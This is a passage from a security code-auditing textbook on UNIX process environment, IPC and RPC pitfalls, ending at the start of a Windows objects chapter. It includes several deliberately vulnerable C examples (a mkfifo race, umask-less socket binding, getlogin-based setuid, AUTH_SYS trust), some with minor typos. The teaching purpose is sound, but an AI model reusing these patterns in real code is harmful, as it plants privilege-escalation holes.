telnet daemon allows a network peer to define several environment variables. These environment variables are typically set before the login program runs, and if the telnet daemon doesn't strip out LD_PRELOAD properly, it can lead to an exploitable condition. Several years ago, many telnet daemons honored the LD_PRELOAD environment variable, thus creating an opportunity for attackers to load arbitrary libraries and run code of their choosing. LIBRARY PATH LD_LIBRARY_PATH provides a list of directories containing shared libraries. The runtime link editor searches through this list first when looking for shared libraries. This variable is ignored for setuid/setgid binaries. Again, when users might have influence over the environment of a privileged application, sanitizing linking/loading-related environment variables correctly is important. Object Linking Vulnerabilities On a related note to environment variables for the linker, a few isolated cases of vulnerabilities have been found in executables in the way they're compiled. Specifically, the vulnerabilities have to do with the way library files required by a program are located on the file system. The dlopen() man page specifies this resolution process:  (ELF only) If the executable file for the calling program contains a DT_RPATH tag and doesn't contain a DT_RUNPATH tag, the directories listed in DT_RPATH are searched.  If the environment variable LD_LIBRARY_PATH is defined as containing a colon-separated list of directories, these directories are searched. (As a security measure, this variable is ignored for setuid and setgid programs).  (ELF only) If the executable file for the calling program contains a DT_RUNPATH tag, the directories listed in that tag are searched. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 623  The cache file /etc/ld.so.cache maintained by ldconfig(8) is checked to see whether it contains an entry for the filename.  The /lib and /usr/lib directories are searched (in that order). More steps are involved in this process than you might expect, and a number of vulnerabilities have surfaced in the past because of this resolution procedure (in addition to the LD_LIBRARY_PATH and LD_PRELOAD attacks already mentioned). In a few cases, the DT_RPATH or DT_RUNPATH tags embedded in ELF executables have listed nonsecure directories that are searched for libraries the program depends on. These tags are usually added to an executable with the -R or rpath linker options. With relative paths or paths that are writeable, it's possible for an attacker to have a rogue library loaded into the process and run arbitrary code. One example in the CVSup package is documented at www.securiteam.com/securitynews/5LP020UC0Q.html. Additionally, the AIX linker was found to exhibit odd behavior compared with other standard linkers; any program compiled with the -L flag (used to locate libraries at compile time) added those paths to the DT_RPATH tag in the executable. Because the -L flag is frequently used to set relative paths, a number of programs were vulnerable to privilege escalation caused by inappropriate search paths. This bug is documented at www.securiteam.com/unixfocus/5EP0I000JC.html. There has also been at least one attack against the resolution of paths via the /etc/ld.so.cache file. Previously, glibc allowed passing the LD_PRELOAD variable to setuid and setgid applications as long as the names didn't contain a / character and the library to be preloaded was setuid. This second check was neglected if the library to be preloaded existed in the /etc/ld.so.cache file. This in turn provided attackers with the opportunity to create or modify local files with elevated privileges (as pointed out at www.securityfocus.com/archive/1/158736/2005-02-06/2005-02-12/2). Other Environment Variables The environment variables you have looked at so far are widely used, but they aren't the only ones that have caused problems in the pastfar from it! Whenever programs run with privileges different from the user interacting with it on a local system or run on a remote system in which users can influence the environment, there's the danger of the program exposing itself to risk when it interprets values from the environment. The values you have seen are standard shell environment variables, but less commonly used or application-specific variables have also been manipulated to The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 624 compromise an application. This vulnerability is possible especially when libraries are performing actions based on the environment; application developers might not be aware those values are being read and acted on because it's all happening behind the scenes. Indeed, some of the most prevalent environment-related vulnerabilities in UNIX have been a result of libraries using environment variables in an unsafe manner. Take the UNIX locale vulnerability Andreas Hasenak discovered, for example (www1.corest.com/common/showdoc.php?idx=127&idxseccion=10). Many UNIX OSs were vulnerable to local (and sometimes remote) compromise because the formatting of output was dictated according to language files specified by certain environment variables (NLSPATH, LC_MESSAGES, and LANG in this case, although it varies slightly among operating systems). Another notable example was abusing TERM and TERMCAP environment variables via telnetd in a number of UNIX systems (BSD and Linux). Theo De Raadt discovered that these variables, if present, specified a file that ws parsed to determine certain terminal capabilities (more details at www.insecure.org/sploits/bsd.tgetent.overflow.html). Attackers who were able to write an arbitrary file to a target host's file system could upload erroneous TERMCAP files and then connect via telnetd and have them parsed, thus triggering a buffer overflow in the tgetent() function. Performing a thorough application audit of a UNIX program requires identifying variables that an application is using explicitly and having a reasonable idea of the environment variables standard libraries use behind the scenes. Process Groups, Sessions, and Terminals Each process belongs to a process group, which is a related set of processes. One process in the group is the process group leader, and the process group's numeric ID is the same as its group leader's process ID. Programs that are descendents of the group leader remain in the process group, unless one of them creates their own process group with setpgid() or setsid(). A session is a collection of process groups, usually tied to a terminal device. The session leader has a connection with this device, known as the controlling terminal. Each session with a terminal has a single foreground process group, and the rest of the process groups are background process groups. This organization of processes around the terminal allows for the natural interface that UNIX users are accustomed to. The terminal device takes certain input from the user, and then sends signals to all processes in the foreground process group. Terminal Attacks Terminal emulation software interprets a number of escape sequences to help format data on the screen and perform other tasks, such as taking screen captures, altering The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 625 terminal parameters, and even setting background images. This flexibility might allow data being displayed via a terminal emulator to perform unintended actions on behalf of users viewing the data. HD Moore published an interesting paper (available at http://archives.neohapsis.com/archives/bugtraq/2003-02/att-0313/01-Termulation .txt) that details a few attacks on popular terminal emulation software, with consequences ranging from simple denial-of-service vulnerabilities to stealing privileges from the victim viewing data that contains embedded escape sequences. From a code-auditing perspective, you can't audit applications for bugs related to program output if the output is viewed by a third party via a terminal emulator program. However, you need to be aware that these bugs exist, and sometimes it makes sense to recommend that an application sanitize output so that nonprintable characters don't appear because of problems such as the ones described in HD Moore's paper. He points out the syslog daemon as an example and describes the behavior of other popular implementations. Session Logins Occasionally, you encounter code running in a privileged context that determines the user interacting with it by using the getlogin() function. This function exists in BSD-based UNIX implementations, and it returns the current user associated with the session. This value is set at some earlier point with setlogin(). Applications that use these functions have to be careful, particularly with setlogin() because it affects all processes in the process group, not just the current process. To use setlogin() safely, processes need to make themselves the leader of a new session; otherwise, they inadvertently set the login name for the entire process group. (Only processes running with superuser privileges can use the setlogin() function.) As the OpenBSD man page points out, this mistake is easy to make because this behavior is the opposite of traditional models of UNIX inheritance of attributes. A process becomes a process group leader by using setsid() or setpgrp(); however, only setsid() is adequate for use before a call to setlogin() because setpgrp() doesn't put the process as a new session, just a new process group. The following code shows an incorrect use of setlogin(): int initialize_user(char *user) { if(setpgid(0, 0) < 0) return 1; return setlogin(user); } Because this code incorrectly uses setpgid() instead of setsid(), the setlogin() call alters the login name of every process in the session to user. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 626 For an incorrect use of setlogin() to be exploited, a program running in the same session must use the getlogin() function in an insecure manner. Because setlogin() can be used inappropriately (as in the preceding example), the getlogin() function could return a username that's not the user whose privileges the process is running with. Any application that assumes the username is correct is potentially making a big mistake. Here's an example of a dangerous use of getlogin(): int exec_editor(char *filename) { char *editor; char *username; struct passwd *pw; username = getlogin(); if((editor = getenv("EDITOR")) == NULL) return 1; if((pw = getpwnam(username)) == NULL) return 1; setuid(pw->pw_uid); execl(editor, editor, filename, NULL); } This (contrived) example sets the user ID inappropriately if the value returned from getlogin() is incorrect. If it returns an inappropriate username, this program sets the user ID to the wrong person! When auditing code that uses setlogin() or getlogin(), you should make the assumption that any insecure use of setlogin() can result in compromise. Even if getlogin() isn't used in the application being audited, it's used plenty of other places on a default system. Similarly, an application shouldn't be putting too much faith in the value returned by getlogin(). It's a good idea to approach the audit under the assumption that you can abuse some other application on the system to incorrectly setlogin(). Any time you encounter getlogin() used in place of more secure alternatives (the getpw* functions based on the UID returned from the getuid() function), carefully trace the username returned under the assumption you can specify an arbitrary value for that username. 7.6.5 Interprocess Communication The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 627 UNIX systems provide several mechanisms for processes to communicate with each other to share information or synchronize their activities. These mechanisms are typically used for transactions across multiple processes, sharing data elements, and coordinating resource sharing. Naturally, the power that IPC primitives afford also presents a potential for vulnerability in applications that use these mechanisms haphazardly. Pipes Pipes are a simple mechanism for IPC in UNIX. A pipe is a unidirectional pair of file descriptors; one descriptor is used for writing information, and the other is used for reading information. A process can write data to the write side of the pipe, and another process can read that data from the read side of the pipe. The pipe descriptors are created at the same time by the pipe() system call, so they are useful for setting up IPC in advance, typically by handing one side of the pipe to a child process via a fork(). Not surprisingly, pipes are the underlying mechanism shell programs use when you link programs by using pipe characters. Say you run a command like this: echo hi | more The shell creates a pipe and gives the write end to a child process that uses it as its standard output descriptor (which is file descriptor 1, if you recall). The read end is handed to a different child process that uses it as its standard input. Then one process runs echo hi and the other process runs the more program, and communication takes place across that pipe. You've already looked at a library function based on the use of pipes, popen(). It creates a pipe and hands one end of it to the child process running the requested program. In this way, it can read from the standard output of the subprogram or write to the standard output of the subprogram. One interesting feature of a pipe is that writing to a pipe with a closed read end causes your program to receive a SIGPIPE, which has a default behavior of terminating the process. If the process deals with the SIGPIPE, the write call returns a failure code of EPIPE to the program. Named Pipes Named pipes (also called "FIFOs" because of their first-in, first-out nature) are pipes that exist on the file system and can be opened just like normal files. Software can use named pipes to set up IPC with a process it isn't related to. Pipes are typically created with mkfifo() or mknod() and then opened with open(). Like regular files, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 628 named pipes have associated file permissions specified in the creation call, and they are modified by the umask. Therefore, an application that creates a FIFO needs to ensure that it applies appropriate permissions to the new object. In this context, "appropriate" means using a restrictive set of permissions that only allows specific applications access to the pipe. Pipes have an interesting behavior in how they're opened by a process that might prove useful in an attack. If a process opens a pipe for reading, the pipe is blocked until another process opens the same pipe for writing. So open() doesn't return until a peer process has joined the game. Similarly, opening a pipe for writing causes a program to block until another process opens the pipe for reading. Opening a pipe in read/write mode (O_RDWR) is undefined behavior, but it usually results in the pipe being opened as a reader without blocking occurring. You can open pipes in nonblocking mode if you want to avoid the blocking behavior. Programs expecting regular files could instead be passed a named pipe that causes the blocking behavior. Although this isn't a security problem in-itself, it could slow down the program when attempting to perform some other TOCTOU-based attack. In addition to open() blocking, attackers can cause the read pipe to block whenever they choose if they are the only writer attached to the other end of the pipe, thus providing additional control over process execution. In fact, Michael Zalewski (a researcher that we have noted previously in this chapter) demonstrated this attack when exploiting a race condition in the GNU C Compiler (GCC). It's more of an exploitation technique but is worth mentioning because race conditions that might have seemed infeasible become more readily exploitable (the technique is detailed at http://seclists.org/bugtraq/1998/Feb/0077.html). There are also quirks in writing to named pipes. If you try to write to a named pipe with no attached reader, you the get same result as with a normal pipe: a SIGPIPE signal and the EPIPE error from the write system call. Another potential problem when dealing with pipes is nonsecure use of mkfifo() and mknod(). Unlike open(), these two functions don't return a file descriptor upon successful creation of a resource; instead, they return a value of 0 indicating success. Therefore, a program that creates a named pipe must subsequently call open() on the created pipe to use it. This situation creates the potential for a race condition; if the pipe is deleted and a new file is created in its place between the time mkfifo() is used and open() is called, the program might inadvertently open something it didn't intend to. Here's an example of vulnerable code: int open_pipe(char *pipename) { int rc; rc = mkfifo(pipename, S_IRWXU); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 629 if(rc == -1) return 1; return open(pipename, O_WRONLY); } In this case, if the process can be interrupted between mkfifo() and open(), it might be possible to delete the created file and create a symlink to a system file or perform a similar attack. From a code-auditing standpoint, the existence of named pipes introduces three potential issues in UNIX-based applications:  Named pipes created with insufficient privileges might result in unauthorized clients performing some sort of data exchange, potentially leading to compromise via unauthorized (or forged) data messages.  Applications that are intended to deal with regular files might unwittingly find themselves interacting with named pipes. This allows attackers to cause applications to stall in unlikely situations or cause error conditions in unexpected places. When auditing an application that deals with files, if it fails to determine the file type, consider the implications of triggering errors during file accesses and blocking the application at those junctures.  The use of mknod() and mkfifo() might introduce a race condition between the time the pipe is created and the time it's opened. System V IPC System V IPC mechanisms are primitives that allow unrelated processes to communicate with each other or achieve some level of synchronization. Three IPC mechanisms in System V IPC are message queues, semaphores, and shared memory. Message queues are a simple stateless messaging system that allows processes to send each other unspecified data. The kernel keeps messages until the message queue is destroyed or a process receives the messages. Unlike file system access, message queue permissions are checked for each operation instead of just when the process is opened. The functions for using message queues are msget(), msgctl(), msgrcv(), and msgsend(). Semaphores are a synchronization mechanism that processes can use to control the sequence of activities that occur between them. The semaphore primitives provide the capability to manipulate semaphore sets, which are a series of semaphores that can be operated on independently. The functions for manipulating semaphores are semget(), semop(), and semctl(). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 630 Finally, shared memory segments are a mechanism whereby a memory segment can be mapped to more than one process simultaneously. By reading or writing to the memory in this segment, processed can exchange information or maintain state and variables among a number of processes. Shared memory segments can be created and manipulated with shmget(), shmctl(), shmat(), and shmdt(). The System V IPC mechanisms have their own namespace in kernel memory that isn't tied to the file system, and they implement their own simple permissions model. In reality, these mechanisms are rarely used in applications; however, you should know about them in case you encounter code that does use them. The most important issue is permissions associated with an IPC entity. IPC implements its own simple permissions model. Each IPC object has its own mode field that describes the requirements for accessing it. This field is nine bits: three bits describing the owner's privileges, three bits describing the group privileges (of the group the owner belongs to), and three bits describing the permissions for everybody else. The bits represent whether the object can be read from or written to for the appropriate group (with one extra bit that's reserved). These permissions are a simplified version of how file system permissions work (except IPC mechanisms don't have the execute permission). Obviously, programs that set these permissions inappropriately are vulnerable to attacks in which arbitrary processes interfere with a communication channel being used by a more privileged process. The consequences can range from simple denial-of-service attacks to memory corruption vulnerabilities to logic errors resulting in privilege escalation. Recently, a denial-of-service vulnerability was found in Apache Web server related to shared memory access for users who could run data with privileges of the Apache user (that is, could write scripts for the Web server to run). In an article at www.securityfocus.com/archive/1/294026, Zen-parse noted that running scripts in this context allowed users to access the HTTPd scoreboard, which was stored in a shared memory segment. He describes several attacks that resulted in Apache spawning endless numbers of processes or being able to send signals to arbitrary processes as root. Another issue when dealing with shared memory segments is that when a process forks, both the child and parent receive a copy of the mapped shared memory segment. This means if one of the processes is compromised to a level that user-malleable code can be run, each process can access shared memory segments with the permissions it was mapped in with. If an exec() occurs, the shared memory segment is detached. Finally, the use of shared resources might introduce the possibility of race conditions, particularly in shared memory segments. Because the data segment can be mapped into multiple processes simultaneously, any of those processes that can write to the segment might be able to cause race conditions by modifying data after another process has read it but before the data has been acted on. Of course, there are also The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 631 complications if multiple writers are acting at the same time. Synchronization issues are covered in more depth in Chapter 13(? [????.]), "Synchronization and State." UNIX Domain Sockets UNIX domain sockets are similar to pipes, in that they allow processes on a local system to communicate with each other. Like pipes, UNIX domain sockets can be named or anonymous. Anonymous domain sockets are created by using the socketpair() function. It works similarly to the pipe() function; it creates a pair of unnamed endpoints that a process can use to communicate information. Anonymous domain sockets are typically used when a process intends to fork and needs a communication channel between a parent and a child. Named domain sockets provide a general-purpose mechanism for exchanging data in a stream-based or record-based fashion. They use the socket API functions to create and manage a connection over a domain socket. In essence, the code to implement connection management and data exchange over named pipes is almost identical to networked applications, although the security implications of using local domain sockets are quite different. Named sockets are implemented by using special socket device files, created automatically when a server calls bind(). The location of the filename is specified in the socket address structure passed to the bind() function. A socket device file is created with permissions (777 & ~umask). Therefore, if a setuid program creates a socket, setting the umask to 0 before starting the program creates the socket file with full read, write, and execute privileges for everyone, meaning any user on the system could connect to the socket and write arbitrary data to the process that bound the socket. An example of a dangerous socket creation is shown: int create_sock(char *path) { struct sockaddr_un sun; int s; bzero(&sun, sizeof(sun)); sun.sun_family = AF_UNIX; strncpy(sun.sun_path, path, sizeof(sun.sun_path)-1; s = socket(AF_UNIX, SOCK_STREAM, 0); if(s < 0) return s; if(bind(s, (struct sockaddr *)&sun, sizeof(sun)) < 0) return -1; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 632 return s; } Assuming this code is running in a privileged context, it could be dangerous because it doesn't explicitly set the umask before creating the socket. Therefore, the calling user might be able to clear the umask and write to a socket that's not intended to receive connections from arbitrary clients. It's easy to overlook file permissions in this situation because they aren't addressed in the socket functions (as opposed to pipe functions such as mkfifo(), which have a mode argument for creating a new pipe). Of course, if users can specify any part of the pathname generated to store the socket or if any writeable directories are used in the path, race attacks could be performed to intercept traffic between a client and server. Specifically, consider the following code: int create_sock(void) { struct sockaddr_un sun; char *path = "/data/fifo/sock1"; int s; bzero(&sun, sizeof(sun)); sun.sun_family = AF_UNIX; strncpy(sun.sun_path, path, sizeof(sun.sun_path)-1); s = socket(AF_UNIX, SOCK_STREAM, 0); if(s < 0) return s; if(bind(s, (struct sockaddr *)&sun, sizeof(sun)) < 0) return -1; return s; } This slightly modified example shows that a socket is created in /data/fifo. If the /data directory is writeable, you could let the server create the socket, and then unlink the /fifo directory or symlink it to some other location where another socket named sock1 has been created. Any client connecting to this socket would then be connecting to the wrong program unwittingly. This might have security implications if sensitive data is being transmitted or if resources are being passed across the socket, such as file descriptors. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 633 Auditing code that uses UNIX domain sockets requires paying attention to the manner in which the socket is created. Because socket files need to be opened explicitly with the socket API, socket files can't be passed as arguments to setuid programs in an attempt to manipulate the speed at which a process is running, as described for named pipes. There is one exceptionwhen the socket has already been opened and a new process inherits the descriptor via a call to execve(). Note Also, bear in mind that when a server closes a socket, the socket file isn't deleted from the file system; it needs to be deleted with the unlink() function. Failure to do so by the server might result in it being unable to bind again when it needs to be restarted (if a static pathname is used) or a directory being continually filled up with unused socket files. This isn't so much a security issue but can result in the application not being able to bind sockets when it needs to. 7.6.6 Remote Procedure Calls Remote Procedure Calls (RPC) allow applications to be designed and deployed in a distributed fashion by using a client/server architecture. Programmers can develop applications without worrying too much about the details of data encapsulation and transmission because the RPC interface handles these tasks automatically. There are two main RPC implementation and encoding standards: Open Network Computing (ONC) and Distributed Computing Environment (DCE). UNIX implements ONC-RPC (also known as Sun-RPC). RPC applications are constructed by developing a server that exports a number of routines clients can call, provided they have adequate credentials. Each server program has a unique program number handed off to a special process known as portmap. When clients want to call a routine for an RPC server, several steps are involved: 1. They connect to the portmapper service on a well-known port (UDP port 111 and TCP port 111). 2. The client requests a specific service by supplying the unique program number associated with that service. 3. Provided the service has been registered, portmap starts the service on an ephemeral port, and then reports back to the client with the port number the service is listening on. 4. The client connects to the appropriate port, requests the routine it wants to call, and supplies arguments that the routine requires. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 634 This description is a bit general. Some RPC servers have well-known ports (such as rpc.nfsd), and the interaction with portmap is sometimes unnecessary. Note that querying the portmap per service isn't necessarily required, and anyone who chooses to enforce access restrictions on clients by controlling access to the portmapper service isn't protecting the application. RPC Definition Files Most RPC applications implement their interfaces by using an RPC definition file (usually with .x as a file suffix). This file defines structures used throughout the program and the interface the server exports. The rpcgen tool on most modern UNIX systems can process these files and automatically generate client and server stub routines for communicating data between client and server applications. This tool takes a lot of the developer's work out of dealing with data transmission primitives in accordance with RPC design principles. For code reviewers, this file is a convenient starting point for auditing RPC applications. You can quickly ascertain what functions are available to connecting clients and what arguments they take. The file format is quite straightforward. Developers can declare structures that the program is using as well as the RPC server interface (which is a structure definition). RPC abstracts the details of data transmission by using External Data Representation (XDR), a standard developed to represent data elements in a machine- and implementation-independent fashion. An RPC definition file that describes an RPC interface can represent arguments of different types. These types correspond directly to XDR basic types or structures composed of XDR basic types. The basic types in RPC definition files are as follows:  bool This is a Boolean value and can be in one of two states: true and false (nonzero and zero).  char This data type is identical to the char data type in C. As in C, characters can be signed or unsigned.  short This data type is the same as the C/C++ short data type. It can be signed or unsigned.  int An integer data type that's identical to the C/C++ int type and can be qualified with the unsigned keyword.  float Identical to the C/C++ float data type.  double Identical to the C/C++ double data type.  hyper The a 64-bit integer is the same as long long in C/C++.  string A string is a variable-length character array. Array definitions are described momentarily.  opaque Used to represent a byte stream of unspecified contents. It's much like the string type except that the RPC runtime doesn't NUL-terminate or attempt to interpret or decode it. Opaque data fields must be a fixed size. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 635 In addition to basic data types, XDR allows the declaration of arrays and vectors. (Vectors are fixed-length arrays, so just the term "arrays" is used in this section.) Arrays are defined by using brackets (<>) with an optional size parameter. A fixed-length array looks like this: int numberarray<1024>; In this case, the RPC runtime ensures that an array supplied by a client doesn't exceed this maximum limit. Arrays can also be unbounded, as in this example: int numberarray<>; In this case, clients are free to supply any number of integers they choose. When used with the string and opaque types, the brackets indicate the length of the string, not an array of strings. A string with a maximum length of 255 bytes is declared like so: string mystring<255>; The server interface is defined by using the program keyword followed by the structure describing what routines have been exported. This structure can define multiple versions of the RPC program (using the version keyword), with each version exporting a unique set of procedures (although typically, they export the same ones). The prototype for an exported function is much like a C function prototype, with some differences; primarily, the function name is in uppercase letters and is followed by the procedure number assigned to that routine. Each routine that has been exported appears in the source code, but it's lowercase and has _svc appended to indicate it's a service routine. For example, you have the following declaration in the RPC definition file: int HELLO_WORLD_1(void) = 1; The server routine that implements it in the source is named hello_world_1_svc(). Here's an example of a server definition. The following code fragment is from the sm_inter.x file, which defines the interface for the well-known rpc.statd service: program SM_PROG { version SM_VERS { /* res_stat = stat_succ if status monitor agrees The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 636 to monitor */ /* res_stat = stat_fail if status monitor cannot monitor */ /* if res_stat == stat_succ, state = state number of site sm_name */ struct sm_stat_res SM_STAT(struct sm_name) = 1; /* res_stat = stat_succ if status monitor agrees to monitor */ /* res_stat = stat_fail if status monitor cannot monitor */ /* stat consists of state number of local site */ struct sm_stat_res SM_MON(struct mon) = 2; /* stat consists of state number of local site */ struct sm_stat SM_UNMON(struct mon_id) = 3; /* stat consists of state number of local site */ struct sm_stat SM_UNMON_ALL(struct my_id) = 4; void SM_SIMU_CRASH(void) = 5; void SM_NOTIFY(struct stat_chge) = 6; } = 1; } = 100024; The statd program has only one available version: version 1. It also exports six functions that clients can call remotely: sm_stat, sm_mon, sm_unmon, sm_unmon_all, sm_simu_crash, and sm_notify. To audit this application, an excellent starting point is looking for these functions in the source code because you know they're taking data from the client and processing it. You can also deduce what kind of data they're accepting from these prototypes; in the preceding example, they're specially defined structures, except sm_simu_crash, which doesn't take any arguments. To audit these functions, you can look up these structures to see what data you can supply. For example, if you want to audit the sm_stat function, you look for the definition of the sm_name structure, as shown: const SM_MAXSTRLEN = 1024; struct sm_name { string mon_name<SM_MAXSTRLEN>; }; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 637 In this instance, you can supply a string that can be at most 1024 bytes. As you can see, RPC definition files allow you to quickly identify what code the server exposes to the client. RPC Decoding Routines The RPC definition file isn't required to create an RPC application. Developers might choose to hand-code the client and server stubs, which involves creating decoders for data manually by using the XDR routines exported for encoding and decoding. (Usually, the rpcgen tool uses XDR subroutines to encode structures and types defined in the RPC specification file.) XDR exports encoding and decoding routines for all its basic types: xdr_int(), xdr_string(), xdr_bool(), and so on. This lower-level manipulation introduces the opportunity for mistakes in the routines responsible for decoding data destined for certain routines. For example, the sm_name structure above has one element: a string with a maximum length of 1024. The XDR routine generated by rpcgen looks like this: bool_t xdr_sm_name(XDR *xdrs, sm_name *objp) { register int32_t *buf; if(!xdr_string( xdrs, &objp->mon_name, SM_MAXSTRLEN)) return FALSE; return TRUE; } If developers create these types of routines, they might accidentally use the wrong constants for maximum string lengths, not deal with errors properly, and so on. Therefore, when a developer doesn't use the RPC definition file, there's an additional lower layer where things might go wrong. Note Whether developers use the RPC definition file or not, there's a chance some implementations of rpcgen will make mistakes or the XDR libraries might have decoding errors. However, the system libraries usually aren't your primary concern when auditing an applicationbut they are well worth browsing in your spare time! Authentication The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 638 RPC provides a number of authentication methods that can be used in applications that need to enforce access control for the functions they export:  AUTH_NONE When this method is selected, no authentication is required to use the RPC server; clients can call any routines they like. It's also referred to as AUTH_NULL in some implementations.  AUTH_UNIX Also commonly referred to as AUTH_SYS, with this authentication method, users provide a user ID, group ID list, and hostname indicating on which host they have the indicated privileges. For example, users connecting to an RPC server on host A might transmit credentials indicating they are the root user on host B. Because this mechanism relies on trust, it's totally unreliable. Indeed, this security is no better than no security enforcement because users can always transmit credentials indicating they are root (or any other user) on the local host where the RPC server resides. If you encounter a program that relies on this authentication mechanism, you have free access to any functions it provides.  AUTH_DES This method provides a more secure authentication mechanism that requires clients to verify their identity by encrypting a message with a private key (usually a timestamp). The server can use DES authentication to verify the client's identity, and the client can use DES to verify the server's identity. RPC applications could possibly implement additional security features to help tighten control over applications, although additional features are used less often than they should be. If RPC authentication is in place, there's code to manually verify credentials in server routines or a dispatch function. In either case, some code is available to examine authentication data supplied with requests. It looks something like this: int authenticate(struct svc_req *svc) { struct authunix_params *aup; switch(rqstp->rq_cred.oa_flavor){ case AUTH_SYS: aup = (struct authunix_params *)rqstp->rq_cred; if(aup->aup_uid != 0) return 1; return 0; default: return 1; } } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 639 This code has some verification of the requester's credentials, but it's using the AUTH_UNIX authentication method. As you know now, that method isn't much better than having no authentication at all. 7.6.7 Summary The environment in which programs run in UNIX has many idiosyncrasies that affect how processes can function safely. You have seen mechanisms to pass extraneous data and resources into a process, such as environment variables and file descriptors, as well as mechanisms such as rlimits that impose certain restrictions on how a process operates. Because UNIX provides such fine-tuned access over the environment in which a process runs, processes that are called with elevated privileges need to be careful when interacting with sensitive resources. Auditing process calls in UNIX requires being aware of all the security implications of the myriad actions performed implicitly when a program runs. You have explored issues in direct program invocation via the execve() system call and indirect invocation via a command shell interpreter. The security-related behaviors you examined include file descriptor passing, command-line arguments, and trusting environment variables. In addition, you learned how mechanisms can be misused to adversely affect the way a process runs. The use of signals, IPC, and resource limits can contribute to a program encountering unexpected errors when performing normal tasks, which in turn might lead to a security compromise or aid an attacker in exploiting a vulnerability that requires precise timing. Finally, you have learned about process interaction via external mechanisms, such as IPC mechanisms and RPC. This information should give you a solid foundation for reviewing modern UNIX software. 7.7 Chapter 11. Windows I: Objects and the File System "Because it's cool. It's like, 'Yeah, been there done thatoh, yeah, I know that bug.' I can understand that phenomenon sociologically, not technically." Bill Gates, from a 1995 interview with FOCUS Magazine 7.7.1 Introduction Windows is the most popular PC operating system on the market. It has evolved over more than 20 years from a basic single-user shell into a robust, networked, multiuser OS. Modern versions of Windows are quickly growing in the traditional big-iron markets, from the small office server space to data centers. So what code auditing book would be complete without a detailed discussion of Windows-specific security The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 640 issues? This chapter and the next are dedicated to discussing security considerations unique to the Windows environment. The coverage begins with explanations of some of the essential Windows security concepts: the security model, objects and their related access controls, and manipulating files. Chapter 12(? [????.]), "Windows II: Interprocess Communication," moves on to the security complications that occur when exchanging data between different security contexts. Keep in mind that several different OSs actually make up the Windows family. This coverage, however, focuses on the Windows NT series, the most popularly deployed series, which includes NT, 2000, XP, Server 2003, and the upcoming Vista. Windows CE and 9x series aren't covered because they aren't true multiuser OSs, so they have limited security capabilities and don't present the unique considerations the NT series does. 7.7.2 Background The Windows NT series is a family of hybrid microkernel OSs developed and distributed by Microsoft Corporation. It was originally designed through a collaborative effort with IBM as the successor to the OS/2 2.0 Presentation Manager. However, the commercial success of the Windows 3.x series led Microsoft to steer Windows NT development toward its present relationship with the classic Windows API. Therefore, the structure and conventions of the Windows API (Win32) are heavily derived from the original Windows 3.0 API. This influence is so significant that the 1993 release of the original Windows NT was numbered 3.1 to provide parity and a natural transition from the then dominant Windows 3.0. The Windows NT series is currently the flagship product of the Windows line and is simply referred to as "Windows" from here on. Microsoft Developer Network (MSDN) The Microsoft Developer Network (MSDN) is the authoritative source of information on Windows APIs and technologies. You'll refer to it regularly over the course of a Windows application security review. A free online version is available at http://msdn.microsoft.com/, and local versions are included with the purchase of Visual Studio or through a subscription-based service. Windows is termed a hybrid microkernel, but its development history has always shown a willingness to sacrifice the microkernel separation for increased performance. It's probably more accurate to say that it draws from the microkernel design but doesn't fit the definition to an appreciable degree. More appropriately, the basic design of Windows is heavily influenced by the Digital Equipment Corporation (DEC) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 641 Virtual Memory System (VMS) operating system because the Windows NT senior architect, David Cutler, had previously worked as one of the primary designers of VMS. Microsoft hired Cutler in 1988 to help develop its next-generation operating system, and he brought a team of former DEC VMS engineers with him. The combined lineage of VMS and Windows 3.0 gives the modern Windows OS its unique (and occasionally schizophrenic) feel. Accepting some incongruities, the modern Windows system is a highly capable multiuser OS. It's natively multithreaded, all the way down to a fully preemptable kernel. The system provides a flexible security model that allows a fine-grained separation and assignment of resources, which extends to secure authentication across large distributed networks. However, a potential weakness of Windows is that the system supports such a wide range of capabilities. Many historical decisions in designing and implementing these capabilities have created a fertile ground for potential vulnerabilities. Although Microsoft is now one of the most security-aware software companies, the Windows system carries the burden of past security mistakes. It's these idiosyncrasies you need to focus on when considering Windows-specific security vulnerabilities. This chapter and Chapter 12(? [????.]) provide the information you need to identify vulnerabilities unique to the Windows architecture. Before learning about vulnerabilities, however, you need to understand more about the architecture of the OS. The following sections give you a basic overview of Windows and explain Windows design choices and handling of fundamental OS requirements. This overview isn't comprehensive; it's more a targeted coverage of the details you need to know. However, it should give you the foundation for understanding the types of vulnerabilities covered in this chapter and the next. Environment Subsystems The OS market was actually quite volatile when Windows NT was originally designed, so Microsoft chose an interesting approach in designing and implementing its new OS. It implemented the base kernel and user mode interface as one set of components, but the user mode environment and API are actually selectable. They are implemented in environment subsystems; the original Windows NT supported the Portable Operating System Interface for UNIX (POSIX) standard and OS/2 APIs in addition to the core Win32 subsystem. This design allowed Microsoft to hedge its bets and potentially change the top-level operating environment as needed. The environment subsystem concept never really took off, however, and Win32 effectively cemented itself in the marketplace over time. In response, the bulk of the Win32 subsystem has been migrated into the kernel for improved performance. However, the environment subsystems are still a The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 642 core underpinning of the OS and provide an interesting architectural point in other contexts. 7.7.3 Objects An object is the fundamental unit of abstraction for Windows system resources. In the most generic sense, an object is simply a mechanism the kernel uses to manage virtual and physical resources. In some sense, an object is similar to a class in Java or C++; it's defined by a specific type (such as a file), and then instances of that object are created (such as the file C:\boot.ini) and manipulated. The Windows Kernel Object Manager (KOM) is the component responsible for kernel-level creation, manipulation, and maintenance of objects. All object types the KOM maintains are known as 